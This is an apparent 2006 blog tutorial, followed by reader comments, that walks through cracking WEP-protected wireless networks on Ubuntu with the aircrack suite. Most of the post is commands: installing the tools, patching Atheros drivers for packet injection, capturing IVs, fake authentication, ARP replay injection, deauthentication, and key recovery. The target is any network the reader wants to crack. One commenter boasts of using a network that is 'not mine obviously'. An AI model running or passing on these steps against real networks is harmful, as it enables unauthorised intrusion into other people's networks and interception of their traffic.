TurkeyFarmHomeblogportfolioaboutcontact

June 22, 2006

Cracking WEP with Ubuntu (Actually Works)

This post should enable anyone to get Linux up and running and crack a WEP key. It took me about 2 days and myriad tutorials to finally get this to work, and now that I have I feel that I should share it with everyone. I am by no means a Linux expert, but this works regardless. All you need is a old laptop with a wireless card and a copy of Ubuntu Linux, currently one of the most popular and easily installed distributions of linux. If you haven’t already bought a wireless card, you should select one from this list to save yourself some trouble.

First step, obviously, is to install Ubuntu. Just boot from the CD and follow the directions. This should be fairly straightforward and I’m not going to get into it any more than this. Once you have it installed and the layout and theme is how you want it, go on. But do everything in order, because otherwise it won’t really work.

Next step is to install the extra repositories and all the programs that Ubuntu doesn’t preinstall. Make sure your box can connect to the internet. If you can only connect via wireless and are having problems, there is a package called Wi-Fi radar that is helpful. To install the extra repositories, open a terminal window and type the following:

sudo cp /etc/apt/sources.list /etc/apt/sources.list_backup
sudo gedit /etc/apt/sources.list

While in the editor, replace everything with:

## Add comments (##) in front of any line to remove it from being checked.
## Use the following sources.list at your own risk.
deb http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse

## MAJOR BUG FIX UPDATES produced after the final release
deb http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-updates main restricted universe multiverse

## UBUNTU SECURITY UPDATES
deb http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse
deb-src http://security.ubuntu.com/ubuntu dapper-security main restricted universe multiverse

## BACKPORTS REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse
deb-src http://archive.ubuntu.com/ubuntu dapper-backports main restricted universe multiverse

## PLF REPOSITORY (Unsupported. May contain illegal packages. Use at own risk.)
deb http://packages.freecontrib.org/ubuntu/plf dapper free non-free
deb-src http://packages.freecontrib.org/ubuntu/plf dapper free non-free

Save the file and exit the text editor. Next type the command:

sudo apt-get update

Now we have to install the packages we’ll need later on:

sudo apt-get install build-essential
sudo apt-get install aircrack
sudo apt-get install kismet
sudo apt-get install airsnort
sudo apt-get install linux-source
sudo apt-get install linux-headers
sudo apt-get install sharutils

Next, you should update your entire system by going to the System Menu>Administration>Update Manager. Click ‘Check’ and begin installing updates. Then reboot your system. After this is done, it’s time to patch the Madwifi drivers.

This is where everything can be tricky. My wireless card (Linksys WPC55AG) uses the Atheros driver, which I needed to patch. If you have a different driver, you’re going to need to find out whether or not you need to patch your drivers, or if they’ll even work with the Aircrack suite. The forums at aircrack-ng.org are a good place to look and so is a google search. If you have an Atheros card, it will be called ath0 when you type iwconfig in the terminal window, or there will be a line that says Ethernet controller: Atheros Communications… when you type lspci in the terminal.

Let’s apply the madwifi patch which you’ll need if you’re using the Atheros driver. This will temporarily disable your wireless card when it deletes the old drivers of the disk. First we’re going to navigate to the /usr/src directory, download the new drivers, delete the old drivers, then install the new ones and apply the patch. You can just copy and paste the commands below into the terminal or type them yourself.

sudo -i

cd /usr/src
wget http://syserr.com/stuff/madwifi-cvs-20051025.tar.gz
wget http://syserr.com/stuff/madwifi-cvs-20051025.patch

ifconfig ath0 down
rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal
find /lib/modules -name ‘ath*’ -exec rm -v {} \;
find /lib/modules -name ‘wlan*’ -exec rm -v {} \;

tar zxvf madwifi-cvs-20051025.tar.gz
cd madwifi
patch -Np1 -i ../madwifi-cvs-20051025.patch
make && make install

modprobe ath_pci

UPDATE: Some people have been having problems with the modprobe command. A comment below contains a fix in some cases:

However, during Madwifi Installation I got this warning:

Warning: could not find /usr/src/madwifi/ath_hal/.hal.o.cmd for /usr/src/madwifi/ath_hal/hal.o

This warning can be IGNORED.

When I ran “modprobe ath_pci” it gave me an error message and “dmesg” gave me some gibberish about “disagrees about version of symbol”.

I browsed the web and found the solution: You have to delete the linux-restricted modules. Just search for “linux-restricted” in Synaptic. I removed everything but “linux-restricted-modules-common”. Then I compiled the madwifi again and ran “modeprobe ath_pci” again. NO ERROR this time! Authenticating and injecting works!

Karl, maybe you can add this to your tutorial cuz I did everything exactly as you wrote. Apparently some network cards with atheros chipset cause problems if you don’t remove the linux-restricdet-modules.

Thanks again!

Cheers,

mcgyver100

If you are using the Atheros driver, next we need to configure kismet to use the right source. If you are using another driver you’ll have to look up what syntax you use. First navigate to the Kismet config, then change the source line.

sudo gedit /etc/kismet/kismet.conf

Change the line that begins with ’source=’ to ’source=madwifi_ag,ath0,madwifi’. Now reboot the computer. After it boots back up you should be able to access the internet again via your wireless card.

Now we can begin cracking. Open up a terminal window, enter monitor mode, and run kismet.

sudo airmon start ath0
sudo kismet

Locate the wireless network you want to crack, and note its ESSID and channel. Then exit by pressing Ctrl-C.

Next, run airodump.

sudo airodump ath0 filename channel# 1

The one at the end lets Airodump know we only want to capture IV’s. The filename can be anything you want, and will be saved in your home directory (or whatever directory you run the command from) as filename.ivs.

Copy the bssid of the wireless network from the airodump window by selecting it and pressing Shift+Ctrl+C. Open up a new terminal window so we can run aireplay to start injecting packets so our data count goes up. We want the data column in airodump to reach between 100,000 and 400,000. The more packets we have, the faster aircrack can find the WEP key. If the WEP key is 128 bits, we may need up to 1,000,000 packets.

sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0

This should associate the network with the wireless connection. If it times out repeatedly, you need to be closer to the wireless router or change your interface rate by typing ’sudo iwconfig ath0 rate 1M’.

Next we want to start injecting packets.

sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0

At first, it will only read packets, and say 0 ARP requests and 0 packets sent. Just wait a minute or two and it will start sending packets in large quantities. If it returns text that says it has been deauthorized, press Ctrl+C and run the command again. You can try to speed things up by entering this command:

sudo aireplay -0 ath0 -a BSSID ath0

Otherwise just sit back and wait. As soon as packets begin to be sent, the data field in Airodump should start flying. Wait until the desired number of packets have been recieved, then open a new terminal window and run aircrack.

sudo aircrack filename.ivs

After a minute, aircrack should return the WEP key. If it doesn’t, collect more packets.

This is by no means exhaustive, but this is what worked for me. If you have questions feel free to ask me and I’ll try to help as best I can, however, like I said before I’m no Linux guru, and have only been using it for a short time. I hope this works for everybody. If you have any changes let me know.

Share:These icons link to social bookmarking sites where readers can share and discover new web pages.
  • del.icio.us
  • digg
  • NewsVine
  • Reddit

60 Comments

  1. Thanks for all of this. Very well written and clear.

    This is my first custom kernel and my unix days were 20 years ago. I am bogged down on the make in the patching section. I get an error saying:

    Makefile.inc:113: *** KERNALPATH: /lib/modules/2.6.15-25-386/build does not exist. Stop.

    I am pretty sure that everything prior to the make executed properly.

    Thoughts?

    Stephen

    Comment by Stephen — June 29, 2006 @ 12:52 pm

  2. Nice simple tutorial. It’s good to see more and more tutorials like this emerge.

    If you’re interested in skipping the whole OS install, just grab a copy of BackTrack at http://www.remote-exploit.org/index.php/BackTrack

    It’s a live CD that you just boot, and all the tools (Kismet, aircrack…) are already on.

    Either way, have fun!

    –Jon Z | http://jzencovich.blogspot.com/

    Comment by Jonathan Zencovich — July 2, 2006 @ 11:24 am

  3. Stephen, sound like you forgot to download your kernel source package

    Comment by Hinkey — July 2, 2006 @ 11:58 am

  4. […] Author Edit 07/02/2006: Dont have linux? No Problem! Use a Ubuntu Live CD.. Here is a sweet walk through for the not so linux savvie.. […]

    Pingback by stephengilroy[dot]com » Blog Archive » WEP Cracking, the FBI Way — July 2, 2006 @ 12:02 pm

  5. Stephan, I’ve been trying to figure this out too. You need to specify the path to the source that downloaded. When you find it, you can just use a command to tell the computer where teh kernelpath really is. Here’s what I had to type:

    export KERNELPATH=/usr/src/linux-headers-2.6.15-23-686

    That’s for my pentium 3 processor. Yours will probably be different.

    Good luck,
    Michael

    Comment by czer323 — July 2, 2006 @ 12:26 pm

  6. Thanks for the clear information. Previously I have known of wi-fi crack to break the WEP encryption. However, compiling the source was very much difficult and I never get to make it work.

    Since I have Ubuntu up and running on my machine, I’ll definitely try this out and crack my own network. If it’s successful or not, I’ll follow up with more information!

    Comment by Keith — July 2, 2006 @ 12:29 pm

  7. […] A nice tutorial on cracking WEP Encryption under Ubuntu.read more | digg story […]

    Pingback by » Cracking WEP with Ubuntu — July 2, 2006 @ 12:43 pm

  8. Also, the order of authenticating and injecting is backwards.

    Authenicate with base station:
    sudo aireplay -1 0 -e ESSID -a BSSID -h 0:1:2:3:4:5 ath0

    Start injecting packets:
    sudo aireplay -3 -b BSSID -h 0:1:2:3:4:5 ath0

    Comment by czer323 — July 2, 2006 @ 12:57 pm

  9. @czer - Thanks, you’re right. I just fixed that.

    Comment by Karl — July 2, 2006 @ 1:06 pm

  10. how do i undo all of this?

    Comment by Sam — July 2, 2006 @ 1:08 pm

  11. Reinstall Ubuntu? What do you need to undo?

    Comment by Karl — July 2, 2006 @ 1:15 pm

  12. Note: When you are installing the wireless tools, you don’t have to use all of those commands. Being a huge fan of copy/paste, the less times that I have to do it the better!

    Instead of:

    sudo apt-get install build-essential
    sudo apt-get install aircrack
    sudo apt-get install kismet
    sudo apt-get install airsnort
    sudo apt-get install linux-source
    sudo apt-get install linux-headers
    sudo apt-get install sharutils

    Do this:

    sudo apt-get install build-essential aircrack kismet airsnort linux-source linux-headers sharutils

    Comment by Nomad64 — July 2, 2006 @ 4:10 pm

  13. To remove the installed packages, just replace the “install” with “remove”. You could also clean up configuration files by adding a –purge like so:

    sudo apt-get remove –purge build-essential aircrack kismet airsnort linux-source linux-headers sharutils

    Comment by dmc — July 2, 2006 @ 8:03 pm

  14. […] TurkeyFarm » Cracking WEP with Ubuntu (Actually Works) (tags: WEP hacking) […]

    Pingback by XIU’s Blog » Blog Archive » links for 2006-07-03 — July 2, 2006 @ 8:23 pm

  15. […] TurkeyFarm » Cracking WEP with Ubuntu (Actually Works) (tags: WEP wireless linux hacking ubuntu wifi cracking) […]

    Pingback by RafaelMontanoOnline Blog » links for 2006-07-03 — July 2, 2006 @ 8:26 pm

  16. […] TurkeyFarm » Cracking WEP with Ubuntu (Actually Works) (tags: howto ubuntu wifi hacking wireless WEP) Sin comentarios […]

    Pingback by Proletarium — links for 2006-07-03 — July 3, 2006 @ 12:29 am

  17. Injecting only works with certain wireless cards. It does NOT work with any of the Centrino-Notebooks - which I guess make up a sizable part of available notebooks.

    So, when injecting is not possible, one needs to collect plenty of packets the old way, which means waiting and listening. Luckily plenty of people have fun things like uPNP turned on which generates a steady flow of packets - yet takes time.

    Comment by Namer — July 3, 2006 @ 3:07 am

  18. […] Leo en TurkeyFarm: El dia de ayer entro en vigor el nuevo carnet por puntos para los conductores, que tiene como objetivo reducir la siniestralidad y la mortalidad en las carreteras españolas. […]

    Pingback by despresurizados.com :: Políticos por puntos :: July :: 2006 — July 3, 2006 @ 3:19 am

  19. I just followed these instructions but when it came to deleting the drivers and then patching them, I could no longer see the ath0 interface, even after several reboots and repatches. Any thoughts?

    Comment by Stephen — July 3, 2006 @ 3:42 am

  20. Upon further inspection, if I modprobe ath_pci, I get a long list of errors consisting of various “Unknown symbol ieee80211_[etc]” and “disagrees about version of symbol ieee80211_[etc]” errors. Perhaps something was not installed?

    Comment by Stephen — July 3, 2006 @ 4:53 am

  21. You genius. What an innovative method

    Comment by web design uk — July 3, 2006 @ 8:02 am

  22. Instead of updating with the update manager do it from the command line, it is generally safer.

    sudo apt-get dist-upgrade

    Comment by Ben — July 3, 2006 @ 9:21 am

  23. @Stephen - Sorry I forgot to include the modprobe ath_pci command. However, when I ran it I didn’t get any errors, it just brought my card back up. I don’t know why you are seeing those errors or how to fix it.

    Comment by Karl — July 3, 2006 @ 9:22 am

  24. Turns out that those drivers were old and didn’t work with my card. What exactly does the patch do and is it needed? Would the new madwifi drivers keep the thing from working?

    Comment by Stephen — July 3, 2006 @ 1:28 pm

  25. […] Crackeando WEP con Ubuntu Interesante y extenso documento en inglés donde explican como crackear una wifi cifrada con WEP desde Ubuntu. Vía: Meneame (tags: Aircrack Ubuntu Seguridad Tutoriales Wireless Linux) […]

    Pingback by diegolo 3.0 » Blog Archive » links for 2006-07-03 — July 3, 2006 @ 4:18 pm

  26. […] TurkeyFarm » Cracking WEP with Ubuntu (Actually Works) (tags: security howto wireless wifi wep) […]

    Pingback by It tastes like burning » links for 2006-07-03 — July 3, 2006 @ 6:22 pm

  27. @Stephen - The drivers are old on purpose. The new ones don’t support simultaneously injecting and catching packets, that’s what the patch is for.

    Comment by Karl — July 3, 2006 @ 8:07 pm

  28. […] TurkeyFarm » Cracking WEP with Ubuntu (Actually Works) (tags: wireless ubuntu) […]

    Pingback by Like Your Work » Blog Archive » links for 2006-07-04 — July 3, 2006 @ 8:24 pm

  29. […] TurkeyFarm » Cracking WEP with Ubuntu (Actually Works) (tags: linux WEP ubuntu hacking security wireless howto hack) […]

    Pingback by Fleeting Thoughts » links for 2006-07-04 — July 3, 2006 @ 9:17 pm

  30. […] TurkeyFarm » Cracking WEP with Ubuntu (Actually Works) (tags: linux WEP ubuntu hacking wireless security wifi) […]

    Pingback by links for 2006-07-04 | Musings by Steve Miller — July 4, 2006 @ 12:18 am

  31. Interesting, however there is a slight caveat.

    If you use your method you disable WPA encryption in Network Manager.
    I also tried using madwifi-old and WPA menus dont work either..

    There HAS to be a way to have WPA support and have packet injection supported drivers, i just have to find a way :(

    Comment by Taimur Khan — July 4, 2006 @ 1:21 am

  32. Just leaving a website with a ton of information about aircrack.

    http://aircrack-ng.org/

    Apparently someone has picked up on the original aircrack project and is trying to give it some more features. Tons of other switches and features, plus there’s a forum. I think that would be pretty helpful to most people having issues. Also, the new madwifi-ng drivers are compatible with injection, but you’ll need patches from this site to make them work faster? I’m not 100% clear on this yet as I haven’t been able to do any real testing.

    Good luck to everyone,
    Michael

    Comment by czer323 — July 4, 2006 @ 2:31 am

  33. Hey Karl,

    Really nice tutorial. Very clearly writen!

    Unfortunately it doesn’t work for me cuz ath0 is gone after madwifi-patching and installing. I wonder which GCC version you used to compile all that?I read it has to be the same as the one used for the Kernel- I tried GCC 4. Did you get any warnings or error messages at all during installation?

    Thanks for your support,

    mcgyver100

    Comment by mcgyver100 — July 4, 2006 @ 9:49 am

  34. […] With all the Linux distros out there it can be hard to choose just one.  I however am starting to really like Ubuntu.  It seems that the popularity of this distro has revealed its many uses. www.turkeyfarm.net/blog has a nice tutorial on cracking WEP Encryption under Ubuntu. I can’t wait to see more developments and uses for Ubuntu as its popularity grows. […]

    Pingback by hackcraft » Cracking WEP with Ubuntu — July 4, 2006 @ 10:29 am

  35. @mcgyver100 - I didn’t get any error messages, and unfortunately the box I did it on is at work, not here with me, so I can’t tell you what version of gcc I have. It was whatever Ubuntu installed when I installed build-essential.

    Comment by Karl — July 4, 2006 @ 5:40 pm

  36. the line:
    sudo airodump filename ath0 channel# 1
    seems wrong. This works better:
    sudo airodump ath0 filename channel# 1

    example for linksys card channel 6:
    sudo airodump ra0 dump 6

    Comment by Cesco — July 4, 2006 @ 6:21 pm

  37. Hey Karl and Stephen,

    I figured out what the problem was.It wasn’t caused by a different GCC versions. GCC 4 works just fine with Dapper Drake.

    However, during Madwifi Installation I got this warning:

    Warning: could not find /usr/src/madwifi/ath_hal/.hal.o.cmd for /usr/src/madwifi/ath_hal/hal.o

    This warning can be IGNORED.

    When I ran “modprobe ath_pci” it gave me an error message and “dmesg” gave me some gibberish about “disagrees about version of symbol”.

    I browsed the web and found the solution: You have to delete the linux-restricted modules. Just search for “linux-restricted” in Synaptic. I removed everything but “linux-restricted-modules-common”. Then I compiled the madwifi again and ran “modeprobe ath_pci” again. NO ERROR this time! Authenticating and injecting works!

    Karl, maybe you can add this to your tutorial cuz I did everything exactly as you wrote. Apparently some network cards with atheros chipset cause problems if you don’t remove the linux-restricdet-modules.

    Thanks again!

    Cheers,

    mcgyver100

    Comment by mcgyver100 — July 5, 2006 @ 4:48 am

  38. @mcgyver - Thanks, I added your explanation above.

    Comment by Karl — July 5, 2006 @ 7:52 am

  39. […] How about the spread of malicious information. Spread under the guise of “This is for educational purposes only.” Interesting little article I came across that was posted recently is how to use Ubuntu (the best linux desktop around) to crack WEP security on wireless routers. Since most people have finally got around to wireless routers, those of us living in highrise bldgs can usually pick up a neighbors signal. 2 yrs ago I could jump on the neighbors wireless. Today, everyone has figured out how to setup the WEP security. […]

    Pingback by goovin with -fred- » Blog Archive » Crack This — July 5, 2006 @ 7:04 pm

  40. I had the same modprobe problems on the ASUS W5A.
    The instructions were a little unclear but this solved it for me…

    Before getting and patching the madwifi drivers, run this:

    # apt-get remove linux-restricted-modules-$(uname -r)

    then run the madwifi block of instructions up to and including the ‘modprobe ath_pci’
    then run this to re-install the restricted modules

    # apt-get install linux-restricted-modules-$(uname -r)

    All is good and no more errors…

    Comment by Zilth — July 5, 2006 @ 8:41 pm

  41. Hi.. I own a Netgear WAB501 card and I’ve done all the steps up to configuring madwifi step “ifconfig ath0 down”. When I type this, it says “ath0: ERROR while getting interface flags: No such device”. When I type iwconfig I don’t see ath0 but when I type lspci I see the wireless card. How do I remedy this situation?

    Also… note that before I restarted my computer after the previous steps ath0 was present. Now it is no longer visible, despite many restarts.

    Any help would be appreciated! My email is ktzero3 at gmail if you’re willing to help! Thanks in advance :D

    Comment by Ktzero3 — July 5, 2006 @ 11:36 pm

  42. @Ktzero3 - I’m not really sure what the problem is. All that command does is disable the device and if the device is present, there should be no error. I can’t really help you, sorry.

    Comment by Karl — July 6, 2006 @ 9:07 am

  43. OT queation:

    How to discover the SSID of an AP which has no clients?

    airodump and kismet have no problem discovering my neighbours SSID after some time. But there is another AP with a hidden SSID i cant discover. aireplay manages to associate to this AP’s mac with ssid = any, but not more. How can i discover this AP’s real ssid ?

    Comment by cesco — July 6, 2006 @ 11:52 am

  44. […] (more…)   […]

    Pingback by zean.no-ip.info » Cracking WEP with Ubuntu (Actually Works) — July 6, 2006 @ 9:00 pm

  45. I get the following errors right after I do the rmmod

    root@delllap:/usr/src# ifconfig ath0 down
    root@delllap:/usr/src# rmmod ath_rate_sample wlan_wep ath_rate_onoe ath_pci wlan ath_hal
    ERROR: Module ath_rate_sample is in use by ath_pci
    ERROR: Module wlan_wep is in use
    ERROR: Module ath_rate_onoe does not exist in /proc/modules
    ERROR: Module wlan is in use by wlan_wep,ath_rate_sample
    ERROR: Module ath_hal is in use by ath_rate_sample

    I have a D-Link DWL-G650 which runs as ath0, so I’m confused.

    Comment by dazey — July 6, 2006 @ 9:13 pm

  46. Dazey,
    I was stuck getting the same errors as you while using a DWL-G630 (ath0). Ignore the errors and just make sure that you have followed all of the instructions above including the addition by mcgyver100 (removing modules). Hopefully everything will work OK.

    Comment by JR — July 7, 2006 @ 4:38 am

  47. […] Cracking Wireless Networks with Ubuntu - Great step by step tutorial on cracking WEP Encryption under Ubuntu. […]

    Pingback by John Wiseman » Blog Archive » Ubuntu Quick Bits — July 7, 2006 @ 7:34 pm

  48. Great ubuntu-centered tutorial, but you should give credit to the sites whom you gained the information from. Some people put hundreds of hours of time in putting this information together that you just copy/pasted into your own blog.

    Comment by alek — July 11, 2006 @ 10:35 pm

  49. i got to the last part where i type modprobe ath_pci and got the error message and removed the linux restricted modules except the one stated and still same error message. has anyone encountered this problem?

    Comment by josephhhhhh — July 11, 2006 @ 10:40 pm

  50. […] Cracking WEP with Ubuntu (Actually Works) If you need your hand held through the entire procedure of cracking WEP keys, this is a good tutorial. (tags: cracking wifi security article linux howto) […]

    Pingback by Link With Reality Web Log » links for 2006-07-06 — July 14, 2006 @ 11:11 am

  51. Worked here. Thanks. Needs seconds with 200k IV’s, wouldnt work with 150k IV’s.
    I had to change “sudo aircrack filename.ivs” to “sudo aircrack filename.cap”.

    Comment by cesco — July 20, 2006 @ 9:53 pm

  52. I have a Netgear wg511T with atheros and have followed your guide but have a few problems, first injection dosent seem to work it just sits reading packets but never sends any. Is thare a patch or something that can help because I have looked everywere for help on this. secondly I have only authinticated once and suddenly it dosent seem to work. does there need to be a client connected to auth?

    Comment by judo — July 21, 2006 @ 1:34 pm

  53. […] The software runs on Linux, they are all available on the Knoppix Linux Live CD. And finally, I think you should always use a combination of 2 or more security features. As for what you need, get Aircrack (Includes Airodump, Aireplay, Aircrack and optional Airdecap for decrypting WEP/WPA capture files) and get Kismet. Update: Kismet for Windows (Kiswin32) is available now. Update: There seems to be a more complete walk through for this over here. [now mirrored] […]

    Pingback by kalyank.net » Blog Archive » WEP Cracking, the FBI Way — July 22, 2006 @ 2:19 pm

  54. Hi,
    I have a D-Link DWL-G650 which i was told supports packet injection fine, however when running aireplay it just receives packets and does not send any?, is there something i need to do to make it inject?? i follwed the guide all the way up till this point

    Comment by Brent — July 25, 2006 @ 4:37 am

  55. Great job, webmaster! Nice site.

    Comment by Razor — August 6, 2006 @ 6:44 pm

  56. Great instructions !
    Writing from a WEP and mac-filter protected AP. Not mine obviously…

    Comment by Truemmel — August 9, 2006 @ 1:39 pm

  57. Hi Brent,
    there must be a regular client connected to the AP. aireplay will then sniff one of the regular packets, and only then the injection starts.
    If there is no no regular client you will have to wait untile one shows up ….

    Comment by Truemmel — August 11, 2006 @ 11:58 am

  58. […] Cracking WEP with Ubuntu (Actually Works) (tags: linux ubuntu security wireless wep wifi hacking cracking atheros tutorials wardriving wlan networking sysadmin) […]

    Pingback by Where Is All This Leading To? » Blog Archive » links for 2006-08-18 — August 17, 2006 @ 8:48 pm

  59. […] Nice tutorial from turkeyfarm. […]

    Pingback by kalyank.net » Blog Archive » Cracking WEP with Ubuntu (Actually Works) — August 26, 2006 @ 1:43 pm

  60. […] A nice tutorial on cracking WEP Encryption under Ubuntu.read more | digg story […]

    Pingback by Security » Cracking WEP with Ubuntu — September 1, 2006 @ 4:22 am

Sorry, the comment form is closed at this time.